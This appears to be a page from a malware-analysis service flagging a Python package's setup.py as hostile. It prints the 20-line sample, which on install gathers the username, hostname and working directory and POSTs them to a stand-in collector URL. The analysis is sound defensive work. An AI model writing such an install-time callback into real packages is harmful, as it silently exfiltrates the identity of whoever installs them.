Hostile 100% python Download

setup.py

Exfiltrates system identity data

setup.py invokes a sender that posts a host identity profileModule invokes urllib sender function
SHA-2569081f21959284b3a3a558cd2953c2d05d047b51da560c81949b6b7bac7a3ccf0

Evidence

Module invokes urllib sender function lines 1–20
1import json
2import os
3import socket
4import subprocess
5import urllib.request
6
7
8def setup_callback():
9 identity = subprocess.getoutput("whoami")
10 hostname = socket.gethostname()
11 cwd = os.getcwd()
12 payload = json.dumps({"user": identity, "hostname": hostname, "pwd": cwd}).encode()
13 request = urllib.request.Request(
14 "https://collector.example/report", data=payload,
15 headers={"Content-Type": "application/json"}, method="POST"
16 )
17 urllib.request.urlopen(request, timeout=5)
18
19
20setup_callback()

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.